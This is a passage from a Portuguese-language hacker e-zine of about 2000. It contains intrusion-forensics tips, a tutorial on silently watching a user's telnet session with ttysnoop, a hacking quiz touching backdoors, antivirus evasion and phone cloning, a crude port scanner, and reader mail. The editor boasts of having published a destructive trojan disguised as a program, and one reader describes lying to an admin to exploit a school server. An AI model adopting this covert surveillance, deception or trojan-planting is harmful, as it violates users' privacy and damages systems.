Caso vc encontre algum arquivo deixado no sistema pelo invasor, como
os xploits usados ou ate' mesmo uma mensagem deixada pelo engracadinho
(as vezes isto eh comum), voce pode usar o seguinte comando para encon-
trar outros arquivos modificados nesta mesma data. Assim podera encon-
trar backdoors deixadas e arquivos alterados.
Uma t3kn33k simples e util que pode ser usada eh usar um alias para
o rm fazendo-o ao invez de deletar o arquivo, mova-o para um diretorio
de backup. Com issu voce tem os exploits e programas usados pelo
invasor. Seria algo tipo: alias rm="mv -f $1 /tmp/bak/"
Crie sempre chaves MD5 de arquivos importantes como os arquivos de
senhas e arquivos de inicializacao. Apos suspeitar de uma invasao, verifique
se a md5 mudou. Caso tenha mudado significa que o arquivo foi alterado.
Para monitorar ataques externos direcionados aos daemons, criei um programa
que monitora as conexoes tcp e verifica se algum pacote contendo mais de 5
nops (0x90) foi enviado. Outro metodo que tambem poderia ser usado e eh mais
seguro, eh verificar se algum pacote possui enderecamento da pilha. Caso um dos
casos seja verdadeiro o programa grava o ip em um log e fecha a conexao.
Isso porque para exploitar remotamente o hacker precisa enviar um buffer
recheado de nops, shellcode e o enderecamento para a pilha. Como o shellcode
costuma variar de xploit para xploit, nao podemos monitora-lo e por isso
vamos monitorar os nops e o endereco de pilha. Se um deles for enviado remota-
mente as chances de estarem tentando xploita-lo sao muito grandes e nao vale
a pena arriscar. =)
O programa inda nao esta released pois possui uma serie de bugs q serao
brevemente corrijidos, mas o algoritimo dele eh facil e qualquer um com uma
base de programacao pode faze-lo.
That's all.
.
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 16 - Monitorando telnet ~YXXXXx_
_xXXXXXX( usando "in.telnetsnoopd" )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Tinker Train _dXXXXP~
~YXXXbx.. ..xdXXXP~
Ae povex! primera vez q escrevo pra zines.. e bla bla bla
sem lenga lenga vamo direto pro q interessa...
{ Explicacao }
Para realizar o monitoramento, voce ira precisar do
"in.telnetsnoopd".. vc pode encontrar em sites como
o tucows (tucows.matrix.com.br)..
** OBS: estou supondo que seu sistema eh linux slackware, se
for outra distribuicao ou sistema tente adaptar.. acho que
em caso de linux de outra distribuicao nao tem muita diferenca
Depois de instalar vamos comecar a brincadeira:
Edite o arquivo /etc/inetd.conf e procure por algo como:
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
Entao comente essa linha (#, dugh!) e coloque logo abaixo
(ou em cima, ou la embaxo, ou em qquer lugar) dela a linha
seguinte:
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetsnoopd
Beleza.. feito isso reinicie o seu inetd (killall -HUP inetd)
Ta.. e agora? como monitorar?
Para monitorar voce tem que saber em qual TTY o usuario
que se deseja monitorar esta logado... para isso podemos
usar o comando "w"... que lista algo como:
host:/# w
11:45pm up 4:39, 8 users, load average: 0.12, 0.10, 0.22
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 - 7:07pm 6:12 11.05s 0.02s -bash
root tty3 - 8:53pm 0.00s 0.50s 0.05s -bash
toor ttyp0 ip.ip.ip.ip 9:06pm 1:29m 0.29s 0.29s ls -al
|
\ _ isso eh a TTY que o user "toor" esta logado.
Sabendo isso vamos comecar a monitorar o cara... pra isso
digite:
host:/# ttysnoop ttyp0
|
\ _ tty na qual nosso amigo ta logado.
Connected to ttyp0 snoop server...
Ctrl+'\' (ASCII 28) to suspend, Ctrl+'-' (ASCII 31) to terminate.
Snoop password:
Verified OK... Snoop started.
tinker:/etc# ttysnoop ttyp0
Connected to ttyp0 snoop server...
Ctrl+'\' (ASCII 28) to suspend, Ctrl+'-' (ASCII 31) to terminate.
Snoop password:
Verified OK... Snoop started.
** Agora comeca a magica! voce vera em tempo real
tudo o que o usuario "toor" esta fazendo!
OBS: quando pedir "Snoop password:" digite a sua senha de root.
Ta ai um truquezinho pra vcs! :).. pode parecer meio
sem graca, mas eh realmente interessante...
Por hoje eh soh pessoal :) ehauehauheua
tks to: struck e s0laris.
[ Tinkertrain ]
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 17 - Hack-Test ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Muitos dos grupos hackers dos quais eu conheci membros tinham seus
testes hackers para um novo membro provar suas capacidades. As vezes, o
teste era simplesmente 0wnar uma maquina descrita pelo grupo, mas os
mais comuns eram os testes de pergunta e respostas.
O mais interessante eh que cada grupo q eu ficava conhecendo, queriam
q eu participasse destes testes mesmo eu mantendo minha possicao de nao
entrar em nenhum deles.
Alguns testes eram bem inteligentes e bem feitos, outros simplesmente
idiotas. Depois q eu respondia o q eu sabia e mandava devolta ao grupo
recebia sempre uma nota de 0 a 10 (Execao de um q era de 0 a 100, mas
isso nao importa e nem precisava comentar aki. Eu sou um idiota de ainda
estar teclando besteiras neste parenteses). A minha nota sempre ficava
entre 8 e 10.
Como eu ja to em espirito de vestibular, decidi eu criar meu proprio
hack test. Ele mede seus conhecimentos gerais na area de computacao e
esta mais voltado para sistemas linux e rede, deixando um pouco de lado
a parte de hardware.
Sao 20 perguntas objetivas com 3 opcoes de resposta.
A cada acerto seu voce conta 0,5 pontos; Cada erro sao 0 pontos.
No final some todos os pontos adquiridos e veja sua nota de 0 a 10.
Para o teste manter-se fiel, nao trapaceie e nao chute. Se voce nao
souber a resposta conte como questao errada.
Lembre-se q este teste visa unicamente medir seus conhecimentos e
se voce roubar estara enganando a si mesmo.
Marque as alternativas a caneta. =)
1. Uma das principais vantagens do linux sobre o windows eh o fato dele
quase nunca precisar ser resetado para q alteracoes nas suas configuracoes
sofram efeito.
Em qual ocasiao no linux isto nao ocorre.
a) Na mudanca da resolucao de video.
b) Quando a tela de login eh alterada.
c) Na troca ou recompilacao do kernel.
2. Outra vantagem do linux e' seu filesystem ext2. Alem dele os kernels
atuais do linux tem suporte a filesystems de diversos sistemas.
Qual destes filesystems tem suporte apenas para leitura?
(refere-se ao kernel 2.4.0)
a) VFAT (Windows)
b) HFS (Mac)
c) NTFS (WinNT)
3. A funcao *PRINCIPAL* do kernel eh:
a) Levar informacoes dos softwares aos hardwares.
b) Gerencionamento de memoria.
c) Manipular discos.
4. O MSDOS assim como o linux eh um sistema operacional que se baseia em
linhas de comandos. Essa caracteristica eh conhecida como:
a) Console
b) Interface grafica
c) Emulador de controle
5. O que eh PHP??
a) Um cgi script usado exclusivamente em httpd.
b) Uma linguagem de programacao que processa htmls com base em banco de dados.
c) Um protocolo que oferece um serviso em TCP.
6. Situacao: Voce tenta apagar o arquivo bunda.c e recebe um stderr de operacao
nao permitida. Qual o proximo comando que voce tentaria para que conclua
seu objetivo??
a) chmod +a bunda.c
b) chattr -i bunda.c
c) rm -f bunda.c
7. Por que winmodens nao rodam em linux??
a) Porque os programas de terminal do linux nao sao compativeis com o modem.
b) Porque o modem nao roda em device drivers ttyS.
c) Porque os sinais sao processados apenas atraves de drivers de windows.
8. O formato de programas e libraries em linux e' diferente do utilizado no
windows. Este formato eh conhecido por:
a) MZ
b) ELF
c) main
9. Pilha (stack) e' o termo usado para identificar a area da memoria onde
fikam armasenados os buffers de um programa. Identifique o valor correspondente
a pilha.
a) 0x01010101
b) 0xbfff091a
c) 0x8049c39a
10. Identifique o CR e LF padrao, nesta ordem:
a) 0x13 e 0x0a
b) 0x20 e 0x13
c) 0x0a e 0x20
11. IFS (Internal Field Separator) eh o caracter que representa o espaco em
sistemas unix. Em sistemas AIX antigos o IFS era uma variavel exportavel que
poderia ser mudado por qualquer usuario.
Como Este bug era exploitavel (na teoria)?
a) Alterava o $IFS para muitos caracteres gerando um buffer overflow.
b) Alterava o $IFS para nenhum caracter causando um Kernel Panic.
c) Alterava o $IFS para "/" fazendo os programas mudarem a rota de execucao dos
seus processos filhos.
12. Backdoors de shells sao provavelmente as mais encontradas por sua simplicidade
de fazer. Bastando copiar uma shell setando-a com SUID voce cria a backdoor.
Ao ativar esta backdoor vc fica com ________ = 0 (root).
A palavra que completa a frase acima eh:
a) UID
b) PID
c) EUID
13. Os antivirus costumam ter um banco de dados com trechos dos virus em ASM
e assim fazem comparacoes para identificar o tipo de virus detectado.
Uma t3kn33k conhecida para evitar este reconhecimento eh:
a) Abusar de NOPs(0x90) entre as funcoes do virus.
b) Colocar JMPs ou CALLs no inicio dos arquivos infectados apontando para o
final do code onde fikam instalados os virus.
c) Infectar a MBR (virus de boot) que nao pode ser scaneada.
14. Ao exploitar um bug de buffer overflow, o Return Address deve ser
redirecionado para:
a) a pilha
b) a area de dados
c) a pilha ou uma funcao da libc
15. Os celulares digitais atuais sao facilmente reprogramaveis. Atravez do
teclado voce pode alterar o NAM dele. Alguns ateh permitem o uso de dois
NAMs no mesmo celular.
A clonagem de celulares nada mais eh do que reprogramar NAM. O que deve
ser reprogramado?
a) System ID e o MIN
b) ESM e MIN
c) DTMF e MIN
16. Um byte eh composto por 8 bits de informacao + 1 bit extra de paridade.
O bit de paridade serve para verificar se a informacao esta correta. Dados
os exemplos de bytes, identifique akele que esta correto.
a) 10000011 - bit paridade = 0
b) 10100001 - bit paridade = 1
c) 10110101 - bit paridade = 0
17. Exemplos de uma linguagem de alto nivel e uma de baixo nivel. Respectivamente:
a) ASM e C
b) Fortran e Algol
c) "Prazer em conhece-lo." e "Vai toma no teu cu!"
18. Um programa em C contendo o seguinte ponteiro:
struct duh
{
int fuck;
};
struct duh *sux;
Como voce faz para chamar o integer fuck dentro do ponteiro duh???
a) sux.fuck
b) duh.fuck
c) sux->fuck
19. Os primeiros 1024 bytes da memoria principal contem 256 enderecos
que referenciam sub-rotinas ou dados localizados em qualquer parte da
memoria. Estes enderecos sao conhecidos por vetores de interrupcao na
linguagem Assembly.
De quantos bytes sao compostos estes enderecos??
a) 2
b) 4
c) 6
20. A internet eh uma rede de computadores formada em:
[] [] []
a) Espinha dorsal []---|---|---|
[] [] []
[] []
\ /
b) Teia []--[]--[]
/ \
[] []
c) Serie []---[]---[]---[]---[]
A pontuacao ficaria assim:
0 - Lamah ou Begginer.
01a03 - Lamah ou Begginer que chutou.
04a06 - Begginer com uma base.
07a12 - Wannabe. Voce esta no caminho certo.
13a16 - Hacker. Voce ja tem capacidade de 0wnar.
17a19 - Hax0r l33t. Legal, voce eh um leitao. =)
20 - Parabens! Voce gabaritou a prova! A colocacao mais alta seria a de guru,
mas acho que o teste nao esta preparado para classifica-lo assim. =)
O gabarito sera publicado na proxima edicao.
Confira suas respostas nao proxima fatal 3rror ou envie-me um email para mim
que terei prazer em retornar seu escore.
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 18 - SuperProgs ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
E entao? curtiram o programa da edicao passada?? =)
Bom, se voce leu o code descobriu que nao passava de um trojam que
apagava tudo caso voce roda-se como root. Hehehehe... teve gente que
rodou a parada e fikou puto cumigo...
Mas pelo menos o programa serviu para alguma coisa. Todos os que
rodaram o trojam agora em diante vao no minimo dar uma olhada no code
antes de sair rodando qualquer porcaria por ae. Fiquei sabendo de gente
que ta comecando a aprender C por causa deste programa.. =)
Ateh agora essa foi a licao mais importante que vc aprendeu: Deixar
de ser um script-kiddie.
Usuarios mais avancados certamente nao cairam na brincadeira entao
nao tenho com o que me preocupar.
Nesta edicao vou publicar um scan-port muito eleet que encontrei faz
um tempao, mas ainda eh um dos melhores ja feitos.
O metodo de scaneamento que ele usa eh um dos mais complexos que ja
vi e mesmo assim consegue ser um programa compacto no tamanho.
Bom, ele tambem podia ser feito em shell-script, mas o editor (que nao
consegui saber quem eh) achou que programando system()s seria mais l33t.
Ah!!! Qdo o programa encontra uma porta aberta ele conecta-se ao servico
e por issu eh preciso sair manualmente. Issu prova que ateh mesmo os melhores
codeadores nao conseguem se livrar de seus bugs. =)
<++> Superprogs/scanport.c
#include <stdio.h>
#include <string.h>
main()
{
int i;
char ip[255],str2[255];
printf("Entre com o host para ser scaneado:");
gets(ip);
printf("\n");
for (i=1;i<9999;i++)
{ sprintf(str2,"telnet %s %d",ip,i);
system(str2);
} }
<-->
NOTA `A LAMERS e BEGGiNERS: Nestas materias eu costumo ser sarcastico.
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 19 - 3m4ilz ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Repetindo o nosso email eh: cheat@struck.8m.com
Mas se estiver dando problema tente: cszine@email.com
Agora se seu comp for patriota entao: decopudim@ig.com.br
Lembrando sempre que se escreve tudo sem acento.
NOTA: *** = Censurado =)
Fr0m: ******** ******* <****************@inatel.br>
Dat3: Fri, 10 Nov 2000 00:59:43 -0200
Subject: Falae'z
Ae cara... tipo... a zine ta muito boa... vai direto ao assunto ao inves
de ficar enrolando quem esta lendo e tal... tipo eu sei que vc deve tar
cheio das coisas ai.. e principalmente com a parada do vestibular.. eh
foda.. Eu estudo no ******** ******* ** **************** (******) e o
ftp server deles eh o pro ftpd 1.2.0 pre3 que eh vulneravel a buffer
overflow.. mas tipo... nem tem permissao de write la... dai eu liguei
pro admim falando umas mentiras e tal.. pra ele abrir um dir com write
la.. mas ele nem curtiu a ideia... tem algum outro jeito de xploitar la
sem permissao de write?? acho q naum neh.... bom.. xeu continuar
rodando o wuscan.pl aqui pra ver se acho algo.. (ahhh vc poderia
adicionar o proftpd tb no wuscan)
[ ]'s
********
--------------
Opa! Primeiramente obrigado pelos comentarios sobre a zine.
Tipo... Ja que tu estuda lah, c pode falar com o admin para liberar uma
conta ftp somente para voce. Esta ideia ja eh + cabivel.. =)
Tipo... wuscan.pl nao pode ter proftpd pq o nome do programa contradiz a
ideia. =) A principio ele iria scaniar todos os daemons ftps bugzados mas
para poupar trabalho eu deixei-o assim... C tu quizer alterar alguma coisa
por mim ta tudo bele.
##############
##############
##############
Fr0m: ****** ******** <**********@hotmail.com>
Dat3: Mon, 13 Nov 2000 22:31:20 EDT
fala noiadu!
tipow, tentei portah teu Henix 4 Linux pru
DOS c/ u borland 3.1...... mexi soh uns dia
nele, e perdi u fonti, mas, naumsei c pour
aliviu ou disgustu, achei eli......
c tu kiser v, ou apagah, ou poh em qq
lugar, dah pru teu cachorro mastigar, qq
coisa, tah indu! tah c/ .PRJ e talw........
naum liga q tem MUUUIIITTTUUUU bug mermu!
nem liguei mexeh oh!
faz uma avaliacaum ai.... d 0 ah 0.5.....
eh qntu???
falow! xohih pq t enchi muitu!!
**************** -> zoia minha page lah vei!
http://www.**********.com
--------------
Heheheheh...
Tipow... Valew a tentativa, mas ele fikou com mtos bugs mesmo.
A principio parecia q tava legal mas logo achei diversos erros.
Relax!
Nao esquenta q num futuro proximo eu faco o trabalho de corrigir tudo
ou quase tudo e ae dah pra publicar como uma nova versao do henix for
MSDOS. Novamente obrigado por tentar me ajudar neste programa.
Hm... Ja que voltamos a tocar neste assunto, ja vou adiantando a vcs
que pro futuro o henix vai ser mais do que somente um emulador...
Aguardem!!! =)
##############
##############
##############
Fr0m: **** <**************@uol.com.br>
Dat3: Sat, 7 Nov 1998 17:07:18 -0200
Subject: Sua zine ta fera :)
Caraca
pelo jeito parece que naum e pra chega este e-mail ate vc a cada hora que
eu pego um zine nova seu e-mail muda hehe
vamo ve se agora vai!
Opa!!!!!!!!!!!!!!!!!!!!!!!!!!!!
BLz?
Sua zine ta bem fera cara apesar de entender menos da metade :).
TIpow queria que vc dece uma olhadinha pra mim em
www.******************.hpg.com.br e desse sua opni„o :)
dos graficos e do que mais eu poderia colocar nela.
VaLeUs!
Aguardo sua opni„o :)
FUIZ
--------------
Eu dei uma olhada na tua page.
Deu pra perceber q c ja manja algo sobre DHTML ja q a abertura foi toda feita
nesta linguagem. O resto da page, pelo menos ate' agora, esta em construcao
com algumas execoes.
A estrutura dela ta blza e espero q o conteudo tb seja tao bom qto o visual.
#########
#########
#########
Fr0m: ** ****** <*********@netsite.com.br>
Dat3: Tue, 21 Nov 2000 21:47:24 -0200
Subject: LegÌtimo!
Ae Cheat Struck,
Blz? Bom cara, antes de tudo falar que eu curto muito o seu "trabalho" que
eu considero o ˙nico hacker brasileiro junto com o SennaSpy que vai atr·s,
aprende e faz; n„o no sentido de estar aÌ nos mirrors, justo que nunca te
vi, mas com certeza estava nos tantos logs q vc apagou por onde andou. Sem
pagaÁ„o de pau, eu acompanho desde a CSZ mas devido a porra da escola eu n„o
evolui junto com vocÍ, que foi junto com a "elite" , vc ou vcs ditaram ou
pelo menos seguiram a evoluÁ„o da seguranÁa. Eu sempre estive no r00t, no
hackphr, no fashion; lembro da Bl0w, Resistencia, atÈ da Axur05 que È vÈia,
mas n„o deu pra mim acompanhar. O Linux eu n„o tive tempo de aprender, pq
aqui em casa o comp. n„o È sÛ meu ent„o j· viu, mas como oq n„o importa sou
eu; estou escrevendo mesmo È pra parabenizar pela zine que È uma puta zine,
legal pra caralho e com muita info boa pra kct! Seria legal algo sobre C ou
Perl, Sh, Asm e esta principalmente pra ter uma noÁ„ozinha pra fazer uma
parte de crack que direta ou indiretamente È um prÌncipio pra escrever os
buffer overflow que vc citou no projeto Omega (nop's) . Fora essas sugestıes
queria te fazer uma pergunta, e me desculpa a lammeragem, mas mesmo que
pouco por dentro da pr·tica sempre me manti atualizado mesmo que na teoria,
os termos e tal, mas tem uma coisa que vem me quebrando a cabeÁa que eu meio
que deduzi, mas n„o sei bem! Um buffer overflow È um code que fode um
programinha, e apartir disso vocÍ junto nesse code coloca uma shellcode que
È pra acessar a conta shell apartir daquele erro, tipo chamar?? E se n„o
tivesse esse shellcode no meio apenas iria estragar o progzinho tipo um DOS,
sem nenhuma aÁ„o que n„o fosse inutilizar o serviÁo? Shellcode seria isso,
chamar uma shell, ou estou falando bosta?
Bom, o negÛcio È parabenizar vc por ter evoluido tanto visto seus primeiros
textos desde a CSZ e atualmente, e atÈ mesmo pelo curto espaÁo de tempo!
Entenderei se n„o responder...=)
[ ]'s
*********
--------------
Rlz... ta dando um dia de furia na tv.
opa! Primeiro, obrigado pelos comentarios `a zine e a mim.
Sobre programacao, eu vou ver c escrevo algo descente sobre uma das
linguagens sugeridas para a proxima edicao.
Ah... bom o shellcode eh issu mesmo. Eh um codigo em ASM q chama uma
shell para ser executada depois q o buffer overflow acontece. Se ele
nao estiver no xploit o q acontecera sera um Segmentation Fault. Issu
vai derrubar o prog. Resumindo: eh exatamente o q c falou.
Uma pergunta: pq eu nao responderia??
########
########
########
Fr0m: ** ** <********@yahoo.com.br>
Dat3: Mon, 11 Dec 2000 20:16:43 -0300 (ART)
Subject: comecando a comecar
cara, eu sei, vc sabe, e todos sabem, q, putz, no
comeco, eh a pior merda, vc naum sabe o q faz,
pergunta pra alguem e eh sempre a mesma merda, ninguem
fala sobre cmo aprender.... tipo, falando assim parece
ateh um bosta de um lamma , mais, parece q nessa bosta
de mundo cibernetico ninguem sabe diferenciar um lamma
de um begginer, merda, mas... tipo c poderia me falar
por onde comecar, o q aprender primeiro..... ja tenho
linux, sei q vo te q conhece ele intero......
mas... da umas dicas, links, e tudo mais.
valew
t+
--------------
Claro..
Um dos 1os passos q eu costumo recomendar eh visitar a www.txt.org. E' uma
otima coletanea de textos brasileiros. O unico problema eh q eh mta coisa.
Comece lendo as zines Axur05, NearZ, The Death Knights, RWX, FuckerWorld,
Hack n' Phreak. Depois baixe o resto e va lendo e vc mesmo pode selecionar
o que e' bom e o que nao presta.
Outra coisa: participe de lista de discussoes como BOS e LinuxBr. Alem de
estar sempre c atualizando. Por inicio eh isso.
Depois que voce comecar a colocar tudo na pratica fika mais facil. Dae vc
soh precisara' ler sobre akilo q vc quizer se aprofundar.
Mas o negocio eh ir atraz e procurar bastente coisa pra ler e consequentemente
aprender. Nao basta saber o que certa coisa faz, vc tem que saber como ela
funciona para poder evoluir cada vez mais.
Outro detalhe que eh bom deixar claro: Nao recomendo o aprendizado apenas com
pessoas em chats tirando suas duvidas. Ainda mais pq mto pouca gente gosta
de responder perguntas de pessoas que nem conhecem.
########
########
########
Fr0m: ****** <********@ig.com.br>
Dat3: Fri, 29 Dec 2000 14:27:12 -0200
Subject: oi !!
ae cara fui na HP
quando tento dar Download do Henix para WIN (DOS)
ele pede login e senha !!
por favor q devo colocar para preencher esses campos ??
--------------
??????
Se eu entendi bem, o problema eh a senha para dar download...
Bem.. nao tem senha nenhuma. Issu pode ta acontecendo caso vc esteja usando
algum programa de download.
Caso eu tenha entendido errado e o problema seja a senha para entrar no
Henix. Neste caso eh login: struck , senha: cheat
_xXXXP^'' ``^YXXXx_
_xXXXXP~ 20 - This is d end ~YXXXXx_
_xXXXXXX( )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
~YXXXXXX( )XXXXXXP~
~YXXXXb_ Cheat Struck _dXXXXP~
~YXXXbx.. ..xdXXXP~
Chegamos ao final de mais uma edicao da nossa querida e-zine.
Aproveitando que a zine ja esta acabando quero divulgar a nossa
nova promocao!!!! =)
Na verdade nao eh bem uma promocao, eh mais uma "divulgacao de
talentos", podemos assim chamar.
Estamos atraz de um novo logo, tanto para a page que deve ser
enviado em modo jpeg, qto para a zine que deve ser ascii em modo txt.
Envie-nos suas obras e nos escolheremos a melhor para usarmos aki
na zine e na nossa nova page que esta sendo criada. O nome dos autores
serao publicados nas proximas edicoes, emquanto o logo estiver sendo
usado. E issu serve como prestigio para vcs, afinal, nao eh qquer um
que tem seu nick publicado aki. =) Hm... pensando melhor, qquer um
consegue ter seu nick publicado aki. =/
Bom, espero que vcs participem do nosso concurso.
Outra novidade eh que em breve estarei publicando um jogo de comp.
feito 100% por mim, incluindo os graficos que serao desenhados a mao
e scaneados. A programacao esta sendo feita em VB pois eh a linguagem
mais acessivel pra mim poder utilizar alguns recursos do DirectX. Sendo
assim o jogo sera apenas para windows (afinal eh para isso que ele serve =)).
Ainda estou buscando uma historia descente para o jogo entao qualquer
ideia sera bem recebida. Tipo... pense em algo que voce gostaria de ver em
um jogo que ainda nao apareceu em nenhum outro e envie a ideia para meu
email. Pode ser qquer coisa, ate' sexo com celebridades =).
Mais detalhes sobre o game: sera um jogo de tiro em 2d onde o jogador
tem que cumprir missoes como roubar bancos, etc mas pode desviar-se de
seus objetivos. Eh possivel falar com pessoas, pegar novas armas e tudo
que um bom adventure deve ter para ser um bom jogo.
Enviem suas ideias que se forem boas serao atribuidas ao jogo.
Agora vamos aos famosos gr33tz:
^^VENTO^^ Transmissor de diversos tipos de virus da gripe.
BEHAEL Aprendeu a escrever com letras GRAUDAS!!! (caps lock)
C0nd0r Manten-se sempre bem atualizado e defende a causa FREE KEVIM!
Cacaio Fundador da organizacao dos cavaleiros mortos.
Carti Criador de patos que tem uma bicicleta roxa.
Chernob Serios desturbios mentais que se agravaram com o tempo.
Dave Mustaine Fabricante de cha' medicinal contra desarranjos estomacais.
Defcon Possui sequelas de sua primeira transa.
Draco Criador do projeto anti-pate-de-figado-de-ganso.
Eletronic Embaixador da costa do norte do marfim.
Encripty Queima formigas com lentes de aumento. Procurado pela sociedade
protetora dos animais.
Kamikase Shell Foi roubado por "funcionarios do banco q verificavam se seus dolares
eram falsos".
hak Assusta criancinhas com historias de sua infancia.
MaskMaster Criador de minhocas. Hmmm...
MidNight Domador de cobras. Hmmm...
N4rfy Hambientalista. Hmmm...
NuLLz Tarado por pes de virgens.
Overnix Digimon em treinamento. Tecnica especial: bolhas.
pcHazard Tenta ensinar passos de danca para paraplegicos.
pcmcia Internado em um asilo para velhos tarados.
psaux Gago, fanho e com um sotaque incompreensivel que nao notou ter
problemas de comunicacao.
RoadHouse Faz propagandas de pomadas para hemorroidas. "Ah! Ja posso andar de
bicicleta denovo!"
Slash_DOMI Provador de drogas medicinais em fase de experiencia.
Source Presidente de honra dos anti-evolucionarios.
Spike Projetista do pino de seguranca(que logo substituira o cinto de s.)
Suli_Cool Mexicano com tendencias a tornar-se uma largartixa.
syscall Costuma ter erecoes ivoluntarias em banheiros masculinos.
Thasmx Defensor do movimento de legalizacao da maconha.
Tinkertrain Botanico desenvolvendo novas drogas.
TPGA Desenhista e criador de objetos de tortura.
vh Procurado na india por fazer churrasco com 2 bois sagrados.
E este eh o fim.
Esto es el fin.
This is the end.
Cya l8r! Hasta la vista! Falow!!!
_EoF_